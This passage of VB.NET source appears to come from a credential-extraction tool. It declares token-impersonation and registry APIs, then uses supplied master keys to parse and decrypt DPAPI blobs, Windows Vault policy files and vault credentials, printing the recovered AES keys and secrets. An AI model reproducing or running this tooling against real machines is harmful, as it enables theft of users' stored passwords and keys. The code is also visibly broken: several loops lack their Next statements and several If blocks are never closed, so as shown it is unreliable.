Public Shared Function OpenProcessToken(ByVal ProcessHandle As IntPtr, ByVal DesiredAccess As UInteger, <Out> ByRef TokenHandle As IntPtr) As Boolean

End Function

<DllImport("advapi32.dll", SetLastError:=True)>

Public Shared Function DuplicateToken(ByVal ExistingTokenHandle As IntPtr, ByVal SECURITY_IMPERSONATION_LEVEL As Integer, ByRef DuplicateTokenHandle As IntPtr) As Boolean

End Function

<DllImport("advapi32.dll", SetLastError:=True)>

Public Shared Function ImpersonateLoggedOnUser(ByVal hToken As IntPtr) As Boolean

End Function

<DllImport("kernel32.dll", SetLastError:=True)>

Public Shared Function CloseHandle(ByVal hObject As IntPtr) As Boolean

End Function

<DllImport("advapi32.dll", SetLastError:=True)>

Public Shared Function RevertToSelf() As Boolean

End Function

<Flags>

Public Enum IsTextUnicodeFlags As Integer

IS_TEXT_UNICODE_ASCII16 = &H1

IS_TEXT_UNICODE_REVERSE_ASCII16 = &H10

IS_TEXT_UNICODE_STATISTICS = &H2

IS_TEXT_UNICODE_REVERSE_STATISTICS = &H20

IS_TEXT_UNICODE_CONTROLS = &H4

IS_TEXT_UNICODE_REVERSE_CONTROLS = &H40

IS_TEXT_UNICODE_SIGNATURE = &H8

IS_TEXT_UNICODE_REVERSE_SIGNATURE = &H80

IS_TEXT_UNICODE_ILLEGAL_CHARS = &H100

IS_TEXT_UNICODE_ODD_LENGTH = &H200

IS_TEXT_UNICODE_DBCS_LEADBYTE = &H400

IS_TEXT_UNICODE_NULL_BYTES = &H1000

IS_TEXT_UNICODE_UNICODE_MASK = &HF

IS_TEXT_UNICODE_REVERSE_MASK = &HF0

IS_TEXT_UNICODE_NOT_UNICODE_MASK = &HF00

IS_TEXT_UNICODE_NOT_ASCII_MASK = &HF000

End Enum

<DllImport("Advapi32", SetLastError:=False)>

Public Shared Function IsTextUnicode(ByVal buf As Byte(), ByVal len As Integer, ByRef opt As IsTextUnicodeFlags) As Boolean

End Function

<DllImport("advapi32.dll", CharSet:=CharSet.Auto)>

Public Shared Function RegOpenKeyEx(ByVal hKey As UInteger, ByVal subKey As String, ByVal ulOptions As Integer, ByVal samDesired As Integer, ByRef hkResult As IntPtr) As Integer

End Function

<DllImport("advapi32.dll")>

Public Shared Function RegQueryInfoKey(ByVal hkey As IntPtr, ByVal lpClass As StringBuilder, ByRef lpcbClass As Integer, ByVal lpReserved As Integer, ByRef lpcSubKeys As IntPtr, ByRef lpcbMaxSubKeyLen As IntPtr, ByRef lpcbMaxClassLen As IntPtr, ByRef lpcValues As IntPtr, ByRef lpcbMaxValueNameLen As IntPtr, ByRef lpcbMaxValueLen As IntPtr, ByRef lpcbSecurityDescriptor As IntPtr, ByVal lpftLastWriteTime As IntPtr) As Integer

End Function

<DllImport("advapi32.dll", SetLastError:=True)>

Public Shared Function RegQueryValueEx(ByVal hKey As IntPtr, ByVal lpValueName As String, ByVal lpReserved As Integer, ByVal type As IntPtr, ByVal lpData As IntPtr, ByRef lpcbData As Integer) As Integer

End Function

<DllImport("advapi32.dll", SetLastError:=True)>

Public Shared Function RegCloseKey(ByVal hKey As IntPtr) As Integer

End Function

<DllImport("shlwapi.dll", CharSet:=CharSet.Unicode)>

Friend Shared Function PathIsUNC(

<MarshalAs(UnmanagedType.LPWStr), [In]> ByVal pszPath As String) As Boolean

End Function

<DllImport("Netapi32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>

Public Shared Function DsGetDcName(

<MarshalAs(UnmanagedType.LPTStr)> ByVal ComputerName As String,

<MarshalAs(UnmanagedType.LPTStr)> ByVal DomainName As String,

<[In]> ByVal DomainGuid As Integer,

<MarshalAs(UnmanagedType.LPTStr)> ByVal SiteName As String,

<MarshalAs(UnmanagedType.U4)> ByVal flags As DSGETDCNAME_FLAGS, <Out> ByRef pDOMAIN_CONTROLLER_INFO As IntPtr) As Integer

End Function

<DllImport("Netapi32.dll", SetLastError:=True)>

Public Shared Function NetApiBufferFree(ByVal Buffer As IntPtr) As Integer

End Function

Public Shared Function GetDCName() As String

Dim domainInfo As DOMAIN_CONTROLLER_INFO

Const ERROR_SUCCESS = 0

Dim pDCI = IntPtr.Zero

Dim val = DsGetDcName("", "", 0, "", DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED Or DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME Or DSGETDCNAME_FLAGS.DS_IP_REQUIRED, pDCI)

If ERROR_SUCCESS = val Then

domainInfo = CType(Marshal.PtrToStructure(pDCI, GetType(DOMAIN_CONTROLLER_INFO)), DOMAIN_CONTROLLER_INFO)

Dim dcName = domainInfo.DomainControllerName

NetApiBufferFree(pDCI)

Return dcName.Trim("\"c)

Else

Dim errorMessage As String = New Win32Exception(val).Message

Console.WriteLine(vbCrLf & " [X] Error {0} retrieving domain controller : {1}", val, errorMessage)

NetApiBufferFree(pDCI)

Return ""

End If

End Function

End Class

Public Class DPAPI

' Wrapper for DPAPI CryptProtectData function.

<DllImport("crypt32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>

Private Shared Function CryptProtectData _

(

ByRef pPlainText As DATA_BLOB,

ByVal szDescription As String,

ByRef pEntropy As DATA_BLOB,

ByVal pReserved As IntPtr,

ByRef pPrompt As CRYPTPROTECT_PROMPTSTRUCT,

ByVal dwFlags As Integer,

ByRef pCipherText As DATA_BLOB

) As Boolean

End Function

' Wrapper for DPAPI CryptUnprotectData function.

<DllImport("crypt32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>

Private Shared Function CryptUnprotectData _

(

ByRef pCipherText As DATA_BLOB,

ByRef pszDescription As String,

ByRef pEntropy As DATA_BLOB,

ByVal pReserved As IntPtr,

ByRef pPrompt As CRYPTPROTECT_PROMPTSTRUCT,

ByVal dwFlags As Integer,

ByRef pPlainText As DATA_BLOB

) As Boolean

End Function

' BLOB structure used to pass data to DPAPI functions.

<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>

Friend Structure DATA_BLOB

Public cbData As Integer

Public pbData As IntPtr

End Structure

' Prompt structure to be used for required parameters.

<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>

Friend Structure CRYPTPROTECT_PROMPTSTRUCT

Public cbSize As Integer

Public dwPromptFlags As Integer

Public hwndApp As IntPtr

Public szPrompt As String

End Structure

' DPAPI key initialization flags.

Private Const CRYPTPROTECT_UI_FORBIDDEN As Integer = 1

Private Const CRYPTPROTECT_LOCAL_MACHINE As Integer = 4

' <summary>

' Initializes empty prompt structure.

' </summary>

' <param name="ps">

' Prompt parameter (which we do not actually need).

' </param>

Private Shared Sub InitPrompt _

(

ByRef ps As CRYPTPROTECT_PROMPTSTRUCT

)

ps.cbSize = Marshal.SizeOf(GetType(CRYPTPROTECT_PROMPTSTRUCT))

ps.dwPromptFlags = 0

ps.hwndApp = IntPtr.Zero

ps.szPrompt = Nothing

End Sub

' <summary>

' Initializes a BLOB structure from a byte array.

' </summary>

' <param name="data">

' Original data in a byte array format.

' </param>

' <param name="blob">

' Returned blob structure.

' </param>

Private Shared Sub InitBLOB _

(

ByVal data As Byte(),

ByRef blob As DATA_BLOB

)

' Use empty array for null parameter.

If data Is Nothing Then

data = New Byte(0) {}

End If

' Allocate memory for the BLOB data.

blob.pbData = Marshal.AllocHGlobal(data.Length)

' Make sure that memory allocation was successful.

If blob.pbData.Equals(IntPtr.Zero) Then

Throw New Exception(

"Unable to allocate data buffer for BLOB structure.")

End If

' Specify number of bytes in the BLOB.

blob.cbData = data.Length

Marshal.Copy(data, 0, blob.pbData, data.Length)

End Sub

' Flag indicating the type of key. DPAPI terminology refers to

' key types as user store or machine store.

Public Enum KeyType

UserKey = 1

MachineKey

End Enum

' It is reasonable to set default key type to user key.

Private Shared defaultKeyType As KeyType = KeyType.UserKey

' <summary>

' Calls DPAPI CryptProtectData function to encrypt a plaintext

' string value with a user-specific key. This function does not

' specify data description and additional entropy.

' </summary>

' <param name="plainText">

' Plaintext data to be encrypted.

' </param>

' <returns>

' Encrypted value in a base64-encoded format.

' </returns>

Public Shared Function Encrypt _

(

ByVal plainText As String

) As String

Return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty)

End Function

' <summary>

' Calls DPAPI CryptProtectData function to encrypt a plaintext

' string value. This function does not specify data description

' and additional entropy.

' </summary>

' <param name="keyType">

' Defines type of encryption key to use. When user key is

' specified, any application running under the same user account

' as the one making this call, will be able to decrypt data.

' Machine key will allow any application running on the same

' computer where data were encrypted to perform decryption.

' Note: If optional entropy is specifed, it will be required

' for decryption.

' </param>

' <param name="plainText">

' Plaintext data to be encrypted.

' </param>

' <returns>

' Encrypted value in a base64-encoded format.

' </returns>

Public Shared Function Encrypt _

(

ByVal keyType As KeyType,

ByVal plainText As String

) As String

Return Encrypt(keyType, plainText, String.Empty, String.Empty)

End Function

Public Shared Function Encrypt _

(

ByVal keyType As KeyType,

ByVal plainText As String,

ByVal entropy As String

) As String

Return Encrypt(keyType, plainText, entropy, String.Empty)

End Function

' <summary>

' Calls DPAPI CryptProtectData function to encrypt a plaintext

' string value. This function does not specify data description.

' </summary>

' <param name="keyType">

' Defines type of encryption key to use. When user key is

' specified, any application running under the same user account

' as the one making this call, will be able to decrypt data.

' Machine key will allow any application running on the same

' computer where data were encrypted to perform decryption.

' Note: If optional entropy is specifed, it will be required

' for decryption.

' </param>

' <param name="plainText">

' Plaintext data to be encrypted.

' </param>

' <param name="entropy">

' Optional entropy which - if specified - will be required to

' perform decryption.

' </param>

' <returns>

' Encrypted value in a base64-encoded format.

' </returns>

Public Shared Function Encrypt _

(

ByVal keyType As KeyType,

ByVal plainText As String,

ByVal entropy As String,

ByVal description As String

) As String

If plainText Is Nothing Then

plainText = String.Empty

End If

If entropy Is Nothing Then

entropy = String.Empty

End If

Dim ReturnedData() As Byte

ReturnedData = Encrypt(keyType, Encoding.UTF8.GetBytes(plainText), Encoding.UTF8.GetBytes(entropy), description)

Debug.Write(BytesToString(ReturnedData))

Debug.WriteLine(vbCrLf)

Return Convert.ToBase64String(ReturnedData)

End Function

Private Shared Function BytesToString(ByVal Input As Byte()) As String

Dim Result As New System.Text.StringBuilder(Input.Length * 2)

Dim Part As String

For Each b As Byte In Input

Part = Conversion.Hex(b)

If Part.Length = 1 Then Part = "0" & Part

Result.Append(Part & " ")

Return Result.ToString()

End Function

' <summary>

' Calls DPAPI CryptProtectData function to encrypt an array of

' plaintext bytes.

' </summary>

' <param name="keyType">

' Defines type of encryption key to use. When user key is

' specified, any application running under the same user account

' as the one making this call, will be able to decrypt data.

' Machine key will allow any application running on the same

' computer where data were encrypted to perform decryption.

' Note: If optional entropy is specifed, it will be required

' for decryption.

' </param>

' <param name="plainTextBytes">

' Plaintext data to be encrypted.

' </param>

' <param name="entropyBytes">

' Optional entropy which - if specified - will be required to

' perform decryption.

' </param>

' <param name="description">

' Optional description of data to be encrypted. If this value is

' specified, it will be stored along with encrypted data and

' returned as a separate value during decryption.

' </param>

' <returns>

' Encrypted value.

' </returns>

Public Shared Function Encrypt _

(

ByVal keyType As KeyType,

ByVal plainTextBytes As Byte(),

ByVal entropyBytes As Byte(),

ByVal description As String

) As Byte()

' Make sure that parameters are valid.

If plainTextBytes Is Nothing Then

plainTextBytes = New Byte(0) {}

End If

If entropyBytes Is Nothing Then

entropyBytes = New Byte(0) {}

End If

If description Is Nothing Then

description = String.Empty

End If

' Create BLOBs to hold data.

Dim plainTextBlob As DATA_BLOB = New DATA_BLOB

Dim cipherTextBlob As DATA_BLOB = New DATA_BLOB

Dim entropyBlob As DATA_BLOB = New DATA_BLOB

' We only need prompt structure because it is a required

' parameter.

Dim prompt As _

CRYPTPROTECT_PROMPTSTRUCT = New CRYPTPROTECT_PROMPTSTRUCT

InitPrompt(prompt)

Try

' Convert plaintext bytes into a BLOB structure.

Try

InitBLOB(plainTextBytes, plainTextBlob)

Catch ex As Exception

Throw New Exception("Cannot initialize plaintext BLOB.", ex)

End Try

' Convert entropy bytes into a BLOB structure.

Try

InitBLOB(entropyBytes, entropyBlob)

Catch ex As Exception

Throw New Exception("Cannot initialize entropy BLOB.", ex)

End Try

' Disable any types of UI.

Dim flags As Integer = CRYPTPROTECT_UI_FORBIDDEN

' When using machine-specific key, set up machine flag.

If keyType = KeyType.MachineKey Then

flags = flags Or (CRYPTPROTECT_LOCAL_MACHINE)

End If

' Call DPAPI to encrypt data.

Dim success As Boolean = CryptProtectData(

plainTextBlob,

description,

entropyBlob,

IntPtr.Zero,

prompt,

flags,

cipherTextBlob)

' Check the result.

If Not success Then

' If operation failed, retrieve last Win32 error.

Dim errCode As Integer = Marshal.GetLastWin32Error()

' Win32Exception will contain error message corresponding

' to the Windows error code.

Throw New Exception("CryptProtectData failed.",

New Win32Exception(errCode))

End If

' Allocate memory to hold ciphertext.

Dim cipherTextBytes(cipherTextBlob.cbData - 1) As Byte

' Copy ciphertext from the BLOB to a byte array.

Marshal.Copy(cipherTextBlob.pbData, cipherTextBytes, 0,

cipherTextBlob.cbData)

' Return the result.

Return cipherTextBytes

Catch ex As Exception

Throw New Exception("DPAPI was unable to encrypt data.", ex)

Finally

If Not (plainTextBlob.pbData.Equals(IntPtr.Zero)) Then

Marshal.FreeHGlobal(plainTextBlob.pbData)

End If

If Not (cipherTextBlob.pbData.Equals(IntPtr.Zero)) Then

Marshal.FreeHGlobal(cipherTextBlob.pbData)

End If

If Not (entropyBlob.pbData.Equals(IntPtr.Zero)) Then

Marshal.FreeHGlobal(entropyBlob.pbData)

End If

End Try

End Function

' <summary>

' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.

' This function does not use additional entropy and does not

' return data description.

' </summary>

' <param name="cipherText">

' Encrypted data formatted as a base64-encoded string.

' </param>

' <returns>

' Decrypted data returned as a UTF-8 string.

' </returns>

' <remarks>

' When decrypting data, it is not necessary to specify which

' type of encryption key to use: user-specific or

' machine-specific; DPAPI will figure it out by looking at

' the signature of encrypted data.

' </remarks>

Public Shared Function Decrypt _

(

ByVal cipherText As String

) As String

Dim description As String

Return Decrypt(cipherText, String.Empty, description)

End Function

' <summary>

' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.

' This function does not use additional entropy.

' </summary>

' <param name="cipherText">

' Encrypted data formatted as a base64-encoded string.

' </param>

' <param name="description">

' Returned description of data specified during encryption.

' </param>

' <returns>

' Decrypted data returned as a UTF-8 string.

' </returns>

' <remarks>

' When decrypting data, it is not necessary to specify which

' type of encryption key to use: user-specific or

' machine-specific; DPAPI will figure it out by looking at

' the signature of encrypted data.

' </remarks>

Public Shared Function Decrypt _

(

ByVal cipherText As String,

ByRef description As String

) As String

Return Decrypt(cipherText, String.Empty, description)

End Function

' <summary>

' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.

' </summary>

' <param name="cipherText">

' Encrypted data formatted as a base64-encoded string.

' </param>

' <param name="entropy">

' Optional entropy, which is required if it was specified during

' encryption.

' </param>

' <param name="description">

' Returned description of data specified during encryption.

' </param>

' <returns>

' Decrypted data returned as a UTF-8 string.

' </returns>

' <remarks>

' When decrypting data, it is not necessary to specify which

' type of encryption key to use: user-specific or

' machine-specific; DPAPI will figure it out by looking at

' the signature of encrypted data.

' </remarks>

Public Shared Function Decrypt _

(

ByVal cipherText As String,

ByVal entropy As String,

ByRef description As String

) As String

' Make sure that parameters are valid.

If entropy Is Nothing Then

entropy = String.Empty

End If

Return Encoding.UTF8.GetString(

Decrypt(Convert.FromBase64String(cipherText),

Encoding.UTF8.GetBytes(entropy), description))

End Function

' <summary>

' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.

' </summary>

' <param name="cipherTextBytes">

' Encrypted data.

' </param>

' <param name="entropyBytes">

' Optional entropy, which is required if it was specified during

' encryption.

' </param>

' <param name="description">

' Returned description of data specified during encryption.

' </param>

' <returns>

' Decrypted data bytes.

' </returns>

' <remarks>

' When decrypting data, it is not necessary to specify which

' type of encryption key to use: user-specific or

' machine-specific; DPAPI will figure it out by looking at

' the signature of encrypted data.

' </remarks>

Public Shared Function Decrypt _

(

ByVal cipherTextBytes As Byte(),

ByVal entropyBytes As Byte(),

ByRef description As String

) As Byte()

' Create BLOBs to hold data.

Dim plainTextBlob As DATA_BLOB = New DATA_BLOB

Dim cipherTextBlob As DATA_BLOB = New DATA_BLOB

Dim entropyBlob As DATA_BLOB = New DATA_BLOB

' We only need prompt structure because it is a required

' parameter.

Dim prompt As _

CRYPTPROTECT_PROMPTSTRUCT = New CRYPTPROTECT_PROMPTSTRUCT

InitPrompt(prompt)

' Initialize description string.

description = String.Empty

Try

' Convert ciphertext bytes into a BLOB structure.

Try

InitBLOB(cipherTextBytes, cipherTextBlob)

Catch ex As Exception

Throw New Exception("Cannot initialize ciphertext BLOB.", ex)

End Try

' Convert entropy bytes into a BLOB structure.

Try

InitBLOB(entropyBytes, entropyBlob)

Catch ex As Exception

Throw New Exception("Cannot initialize entropy BLOB.", ex)

End Try

' Disable any types of UI. CryptUnprotectData does not

' mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of

' supported flags so we will not set it up.

Dim flags As Integer = CRYPTPROTECT_UI_FORBIDDEN

' Call DPAPI to decrypt data.

Dim success As Boolean = CryptUnprotectData(

cipherTextBlob,

description,

entropyBlob,

IntPtr.Zero,

prompt,

flags,

plainTextBlob)

' Check the result.

If Not success Then

' If operation failed, retrieve last Win32 error.

Dim errCode As Integer = Marshal.GetLastWin32Error()

' Win32Exception will contain error message corresponding

' to the Windows error code.

Throw New Exception("CryptUnprotectData failed.",

New Win32Exception(errCode))

End If

' Allocate memory to hold plaintext.

Dim plainTextBytes(plainTextBlob.cbData - 1) As Byte

' Copy ciphertext from the BLOB to a byte array.

Marshal.Copy(plainTextBlob.pbData, plainTextBytes, 0,

plainTextBlob.cbData)

' Return the result.

Return plainTextBytes

Catch ex As Exception

Throw New Exception("DPAPI was unable to decrypt data.", ex)

' Free all memory allocated for BLOBs.

Finally

If Not (plainTextBlob.pbData.Equals(IntPtr.Zero)) Then

Marshal.FreeHGlobal(plainTextBlob.pbData)

End If

If Not (cipherTextBlob.pbData.Equals(IntPtr.Zero)) Then

Marshal.FreeHGlobal(cipherTextBlob.pbData)

End If

If Not (entropyBlob.pbData.Equals(IntPtr.Zero)) Then

Marshal.FreeHGlobal(entropyBlob.pbData)

End If

End Try

End Function

Public Enum DataProtectionScope

CurrentUser = 0

LocalMachine = 1

End Enum

Public Shared Function DescribeDPAPIBlob(ByVal blobBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional blobType As String = "credential", ByVal Optional unprotect As Boolean = False) As Byte()

Dim offset As Integer = 0

If blobType.Equals("credential") Then

offset = 36

ElseIf blobType.Equals("policy") Then

offset = 24

ElseIf blobType.Equals("blob") Then

offset = 24

ElseIf blobType.Equals("rdg") Then

offset = 24

Else

Console.WriteLine("[X] Unsupported blob type: {0}", blobType)

Return New Byte(-1) {}

End If

Dim guidMasterKeyBytes As Byte() = New Byte(15) {}

Array.Copy(blobBytes, offset, guidMasterKeyBytes, 0, 16)

Dim guidMasterKey As Guid = New Guid(guidMasterKeyBytes)

Dim guidString As String = String.Format("{{{0}}}", guidMasterKey)

If Not blobType.Equals("rdg") Then

Console.WriteLine(" guidMasterKey : {0}", guidString)

End If

offset += 16

If Not blobType.Equals("rdg") Then

Console.WriteLine(" size : {0}", blobBytes.Length)

End If

Dim flags As UInt32 = BitConverter.ToUInt32(blobBytes, offset)

offset += 4

If Not blobType.Equals("rdg") Then

Console.Write(" flags : 0x{0}", flags.ToString("X"))

If (flags <> 0) AndAlso ((flags And &H20000000) = flags) Then

Console.Write(" (CRYPTPROTECT_SYSTEM)")

End If

Console.WriteLine()

End If

Dim descLength As Integer = BitConverter.ToInt32(blobBytes, offset)

offset += 4

Dim description As String = Encoding.Unicode.GetString(blobBytes, offset, descLength)

offset += descLength

Dim algCrypt As Integer = BitConverter.ToInt32(blobBytes, offset)

offset += 4

Dim algCryptLen As Integer = BitConverter.ToInt32(blobBytes, offset)

offset += 4

Dim saltLen As Integer = BitConverter.ToInt32(blobBytes, offset)

offset += 4

Dim saltBytes As Byte() = New Byte(saltLen - 1) {}

Array.Copy(blobBytes, offset, saltBytes, 0, saltLen)

offset += saltLen

Dim hmacKeyLen As Integer = BitConverter.ToInt32(blobBytes, offset)

offset += 4 + hmacKeyLen

Dim algHash As Integer = BitConverter.ToInt32(blobBytes, offset)

offset += 4

If Not blobType.Equals("rdg") Then

Console.WriteLine(" algHash/algCrypt : {0} ({1}) / {2} ({3})", algHash, CType(algHash, Interop.CryptAlg), algCrypt, CType(algCrypt, Interop.CryptAlg))

Console.WriteLine(" description : {0}", description)

End If

Dim algHashLen As Integer = BitConverter.ToInt32(blobBytes, offset)

offset += 4

Dim hmac2KeyLen As Integer = BitConverter.ToInt32(blobBytes, offset)

offset += 4 + hmac2KeyLen

Dim dataLen As Integer = BitConverter.ToInt32(blobBytes, offset)

offset += 4

Dim dataBytes As Byte() = New Byte(dataLen - 1) {}

Array.Copy(blobBytes, offset, dataBytes, 0, dataLen)

Console.WriteLine(" hmac2KeyLen : {0}", hmac2KeyLen)

Console.WriteLine(" dataLen : {0}", dataLen)

Console.WriteLine(" dataBytes : 0x{0}", BitConverter.ToString(dataBytes))

If (blobType.Equals("rdg") OrElse blobType.Equals("blob")) AndAlso unprotect Then

Dim entropy As Byte() = New Byte(-1) {}

Try

Dim decBytes As Byte() = ProtectedData.Unprotect(blobBytes, entropy, DataProtectionScope.CurrentUser)

Return decBytes

Catch

Return Encoding.Unicode.GetBytes(String.Format("MasterKey needed - {0}", guidString))

End Try

ElseIf MasterKeys.ContainsKey(guidString) Then

If algHash = 32782 Then

Try

Dim keyBytes As Byte() = Helpers.StringToByteArray(MasterKeys(guidString).ToString())

Dim derivedKeyBytes As Byte() = Crypto.DeriveKey(keyBytes, saltBytes, algHash)

Dim finalKeyBytes As Byte() = New Byte(algCryptLen / 8 - 1) {}

Array.Copy(derivedKeyBytes, finalKeyBytes, CInt(algCryptLen / 8))

Return Crypto.DecryptBlob(dataBytes, finalKeyBytes, algCrypt)

Catch

Console.WriteLine(" [X] Error retrieving GUID:SHA1 from cache {0}", guidString)

End Try

ElseIf algHash = 32772 Then

Try

Dim keyBytes As Byte() = Helpers.StringToByteArray(MasterKeys(guidString).ToString())

Dim derivedKeyBytes As Byte() = Crypto.DeriveKey(keyBytes, saltBytes, algHash)

Dim finalKeyBytes As Byte() = New Byte(algCryptLen / 8 - 1) {}

Array.Copy(derivedKeyBytes, finalKeyBytes, CInt(algCryptLen / 8))

Return Crypto.DecryptBlob(dataBytes, finalKeyBytes, algCrypt)

Catch

Console.WriteLine(" [X] Error retrieving GUID:SHA1 from cache {0}", guidString)

End Try

Else

Console.WriteLine(" [X] Only sha1 and sha256 are currently supported for the hash algorithm. Alg '{0}' ({1}) not supported", algHash, CType(algHash, Interop.CryptAlg))

End If

Else

If blobType.Equals("rdg") Then

Return Encoding.Unicode.GetBytes(String.Format("MasterKey needed - {0}", guidString))

Else

Console.WriteLine(" [X] MasterKey GUID not in cache: {0}", guidString)

End If

If Not blobType.Equals("rdg") Then

Console.WriteLine()

End If

Return New Byte(-1) {}

End Function

Public Shared Function DescribePolicy(ByVal policyBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String)) As ArrayList

Dim offset As Integer = 0

Dim version As Integer = BitConverter.ToInt32(policyBytes, offset)

offset += 4

Dim vaultIDbytes As Byte() = New Byte(15) {}

Array.Copy(policyBytes, offset, vaultIDbytes, 0, 16)

Dim vaultID As Guid = New Guid(vaultIDbytes)

offset += 16

Console.WriteLine(vbCrLf & " VaultID : {0}", vaultID)

Dim nameLen As Integer = BitConverter.ToInt32(policyBytes, offset)

offset += 4

Dim name As String = Encoding.Unicode.GetString(policyBytes, offset, nameLen)

offset += nameLen

Console.WriteLine(" Name : {0}", name)

offset += 12

Dim keyLen As Integer = BitConverter.ToInt32(policyBytes, offset)

offset += 4

offset += 32

Dim keyBlobLen As Integer = BitConverter.ToInt32(policyBytes, offset)

offset += 4

Dim blobBytes As Byte() = New Byte(keyBlobLen - 1) {}

Array.Copy(policyBytes, offset, blobBytes, 0, keyBlobLen)

Dim plaintextBytes As Byte() = DescribeDPAPIBlob(blobBytes, MasterKeys, "policy")

If plaintextBytes.Length > 0 Then

Dim keys As ArrayList = ParseDecPolicyBlob(plaintextBytes)

If keys.Count = 2 Then

Dim aes128KeyStr As String = BitConverter.ToString(CType(keys(0), Byte())).Replace("-", "")

Console.WriteLine(" aes128 key : {0}", aes128KeyStr)

Dim aes256KeyStr As String = BitConverter.ToString(CType(keys(1), Byte())).Replace("-", "")

Console.WriteLine(" aes256 key : {0}", aes256KeyStr)

Return keys

Else

Console.WriteLine(" [X] Error parsing decrypted Policy.vpol (AES keys not extracted)")

Return New ArrayList()

End If

Else

Return New ArrayList()

End If

End Function

Public Shared Sub DescribeVaultCred(ByVal vaultBytes As Byte(), ByVal AESKeys As ArrayList)

Dim aes128key As Byte() = CType(AESKeys(0), Byte())

Dim aes256key As Byte() = CType(AESKeys(1), Byte())

Dim offset As Integer = 0

Dim finalAttributeOffset As Integer = 0

offset += 16

Dim unk0 As Integer = BitConverter.ToInt32(vaultBytes, offset)

offset += 4

Dim lastWritten As Long = CLng(BitConverter.ToInt64(vaultBytes, offset))

offset += 8

Dim lastWrittenTime As System.DateTime = System.DateTime.FromFileTime(lastWritten)

Console.WriteLine(vbCrLf & " LastWritten : {0}", lastWrittenTime)

offset += 8

Dim friendlyNameLen As Integer = BitConverter.ToInt32(vaultBytes, offset)

offset += 4

Dim friendlyName As String = Encoding.Unicode.GetString(vaultBytes, offset, friendlyNameLen)

offset += friendlyNameLen

Console.WriteLine(" FriendlyName : {0}", friendlyName)

Dim attributeMapLen As Integer = BitConverter.ToInt32(vaultBytes, offset)

offset += 4

Dim numberOfAttributes As Integer = attributeMapLen / 12

Dim attributeMap As Dictionary(Of Integer, Integer) = New Dictionary(Of Integer, Integer)()

For i As Integer = 0 To numberOfAttributes - 1

Dim attributeNum As Integer = BitConverter.ToInt32(vaultBytes, offset)

offset += 4

Dim attributeOffset As Integer = BitConverter.ToInt32(vaultBytes, offset)

offset += 8

attributeMap.Add(attributeNum, attributeOffset)

Dim leftover As Byte() = New Byte(vaultBytes.Length - 222 - 1) {}

Array.Copy(vaultBytes, 222, leftover, 0, leftover.Length)

For Each attribute As KeyValuePair(Of Integer, Integer) In attributeMap

Dim attributeOffset As Integer = attribute.Value

attributeOffset += 16

If attribute.Key >= 100 Then

attributeOffset += 4

End If

Dim dataLen As Integer = BitConverter.ToInt32(vaultBytes, attributeOffset)

attributeOffset += 4

finalAttributeOffset = attributeOffset

If dataLen > 0 Then

Dim IVPresent As Boolean = BitConverter.ToBoolean(vaultBytes, attributeOffset)

attributeOffset += 1

If Not IVPresent Then

Dim dataBytes As Byte() = New Byte(dataLen - 1 - 1) {}

Array.Copy(vaultBytes, attributeOffset, dataBytes, 0, dataLen - 1)

finalAttributeOffset = attributeOffset + dataLen - 1

Dim decBytes As Byte() = Crypto.AESDecrypt(aes128key, New Byte(-1) {}, dataBytes)

Else

Dim IVLen As Integer = BitConverter.ToInt32(vaultBytes, attributeOffset)

attributeOffset += 4

Dim IVBytes As Byte() = New Byte(IVLen - 1) {}

Array.Copy(vaultBytes, attributeOffset, IVBytes, 0, IVLen)

attributeOffset += IVLen

Dim dataBytes As Byte() = New Byte(dataLen - 1 - 4 - IVLen - 1) {}

Array.Copy(vaultBytes, attributeOffset, dataBytes, 0, dataLen - 1 - 4 - IVLen)

attributeOffset += dataLen - 1 - 4 - IVLen

finalAttributeOffset = attributeOffset

Dim decBytes As Byte() = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes)

DescribeVaultItem(decBytes)

End If

If (numberOfAttributes > 0) AndAlso (unk0 < 4) Then

Dim clearOffset As Integer = finalAttributeOffset - 2

Dim clearBytes As Byte() = New Byte(vaultBytes.Length - clearOffset - 1) {}

Array.Copy(vaultBytes, clearOffset, clearBytes, 0, clearBytes.Length)

Dim cleatOffSet2 As Integer = 0

cleatOffSet2 += 4

Dim dataLen As Integer = BitConverter.ToInt32(clearBytes, cleatOffSet2)

cleatOffSet2 += 4

If dataLen > 2000 Then

Console.WriteLine(" [*] Vault credential clear attribute is > 2000 bytes, skipping...")

ElseIf dataLen > 0 Then

Dim IVPresent As Boolean = BitConverter.ToBoolean(vaultBytes, cleatOffSet2)

cleatOffSet2 += 1

If Not IVPresent Then

Dim dataBytes As Byte() = New Byte(dataLen - 1 - 1) {}

Array.Copy(clearBytes, cleatOffSet2, dataBytes, 0, dataLen - 1)

Dim decBytes As Byte() = Crypto.AESDecrypt(aes128key, New Byte(-1) {}, dataBytes)

Else

Dim IVLen As Integer = BitConverter.ToInt32(clearBytes, cleatOffSet2)

cleatOffSet2 += 4

Dim IVBytes As Byte() = New Byte(IVLen - 1) {}

Array.Copy(clearBytes, cleatOffSet2, IVBytes, 0, IVLen)

cleatOffSet2 += IVLen

Dim dataBytes As Byte() = New Byte(dataLen - 1 - 4 - IVLen - 1) {}

Array.Copy(clearBytes, cleatOffSet2, dataBytes, 0, dataLen - 1 - 4 - IVLen)

cleatOffSet2 += dataLen - 1 - 4 - IVLen

finalAttributeOffset = cleatOffSet2

Dim decBytes As Byte() = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes)

DescribeVaultItem(decBytes)

End If

End Sub

Public Shared Sub DescribeVaultItem(ByVal vaultItemBytes As Byte())

Dim offset As Integer = 0

Dim version As Integer = BitConverter.ToInt32(vaultItemBytes, offset)

offset += 4

Dim count As Integer = BitConverter.ToInt32(vaultItemBytes, offset)

offset += 4

For i As Integer = 0 To count - 1

